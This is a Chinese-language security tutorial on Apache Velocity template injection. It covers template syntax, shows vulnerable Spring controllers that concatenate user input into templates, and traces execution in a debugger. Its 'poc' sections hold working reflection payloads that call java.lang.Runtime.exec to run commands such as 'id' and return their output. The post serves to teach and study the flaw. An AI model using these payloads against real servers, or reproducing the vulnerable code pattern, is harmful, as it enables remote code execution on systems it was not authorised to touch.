Java安全之Velocity模版注入

Java安全之Velocity模版注入

Apache Velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。它允许web 页面设计者引用JAVA代码预定义的方法

Pom.xml


    org.apache.velocity
    velocity
    1.7

相关文档

https://velocity.apache.org/engine/devel/user-guide.html

https://wizardforcel.gitbooks.io/velocity-doc/content/1.html

基本语法

语句标识符

#用来标识Velocity的脚本语句,包括#set#if#else#end#foreach#end#include#parse#macro等语句。

变量

$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##,多行注释为成对出现的#* ............. *#

逻辑运算

== && || !

条件语句

if/else为例:

#if($foo1
#elseif($foo==10)
    2
#elseif($bar==6)
    3
#else
    4
#end

单双引号

单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似

#set ($var="aaaaa")
'$var'  ## 结果为:$var
"$var"  ## 结果为:aaaaa

属性

通过.操作符使用变量的内容,比如获取并调用getClass()

#set($e="e")
$e.getClass()

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用转义作为关键的$

{} 标识符

"{}"用来明确标识Velocity变量;
比如在页面中,页面中有一个$someonename,此时,Velocity将把someonename作为变量名,若我们程序是想在someone这个变量的后面紧接着显示name字符,则上面的标签应该改成${someone}name。

!标识符

"!"用来强制把不存在的变量显示为空白。
如当页面中包含$msg,如果msg对象有值,将显示msg的值,如果不存在msg对象同,则在页面中将显示$msg字符。这是我们不希望的,为了把不存在的变量或变量值为null的对象显示为空白,则只需要在变量名前加一个“!”号即可。
如:$!msg
我们提供了五条基本的模板脚本语句,基本上就能满足所有应用模板的要求。这四条模板语句很简单,可以直接由界面设计人员来添加。在当前很多EasyJWeb的应用实践中,我们看到,所有界面模板中归纳起来只有下面四种简单模板脚本语句即可实现:
   1、$!obj  直接返回对象结果。
   如:在html标签中显示java对象msg的值。

$!msg
  在html标签中显示经过HtmlUtil对象处理过后的msg对象的值
  $!HtmlUtil.doSomething($!msg)

  2、#if($!obj) #else #end 判断语句
   如:在EasyJWeb各种开源应用中,我们经常看到的用于弹出提示信息msg的例子。

   #if($msg)

   

   #end

poc

// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令执行2 
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("A"))
#if($scan.hasNext())
$scan.next()
#end

模版注入

抠了段代码

 @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="nth347") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "nguyen@vietnam.com");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }

poc

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

Java安全之Velocity模版注入插图

调试分析

首先将我们传入的poc拼接进去后,调用Velocity.init();,最终实际调用的是RuntimeInstance#init

会进行一系列的初始化操作,其中包括加载/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties中的runtime.log.logsystem.class,实例化org.apache.velocity.runtime.resource.ResourceManagerImpl以及记录一些log

Java安全之Velocity模版注入插图1

之后实例化VelocityContext并将三个键值对 put了进去,调用Velocity.evaluate()来解析,跟进

发现是通过RuntimeInstance#evaluate中调用parse解析

Java安全之Velocity模版注入插图2

继续跟进parser.parse(reader, templateName);,首先在this.velcharstream.ReInit(reader, 1, 1);将在StringReader中的poc存储到Parser.velcharstream属性的buffer

Java安全之Velocity模版注入插图3

之后会在process内循环遍历处理vlocity语法之后,大致解析成下面这个样子...

Java安全之Velocity模版注入插图4

进入this.render(context, writer, logTag, nodeTree);来解析渲染,主要是从AST树中和Context中,在ASTSetDirective#render将poc put进了context。这里涉及到几个类ASTRference ASTMethod,其中涉及到了ast的处理,感兴趣的师傅可以自己跟下看看

ASTMethod#execute中反射调用runtime

Java安全之Velocity模版注入插图5

调用栈如下:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1314, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1265, RuntimeInstance (org.apache.velocity.runtime)
evaluate:180, Velocity (org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)

扣来的代码,这个可能实际环境遇到盖里高点,主要是可控vm模版文件内的内容,在调用template.merge(ctx, out);会解析模版并触发模版注入

    @RequestMapping("/ssti/velocity2")
    @ResponseBody
    public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
        String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
        templateString = templateString.replace("", username);

        StringReader reader = new StringReader(templateString);

        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "nguyen@vietnam.com");

        StringWriter out = new StringWriter();
        org.apache.velocity.Template template = new org.apache.velocity.Template();

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

        template.setRuntimeServices(runtimeServices);
        template.setData(node);
        template.initDocument();

        template.merge(ctx, out);

        return out.toString();

    }

Template.vm

Hello World! The first velocity demo.
Name is .
Project is $project

首先vm模版中字符串可被我们插入或替换即可造成模版注入,中间调用runtimeServices.parse将模版内容解析,交给template.merge(ctx, out);渲染。在template.merge 调用SimpleNode#render,后续调用和上面的就一致了。

Java安全之Velocity模版注入插图6

主要是注意vm模版内容可不可控,并在修改后能被Velocity.evaluate() Template.merge(ctx, out);渲染,即可造成模版注入。

Reference

https://www.cnblogs.com/nice0e3/p/16218857.html

https://xz.aliyun.com/t/8135

文章来源于互联网:Java安全之Velocity模版注入

THE END
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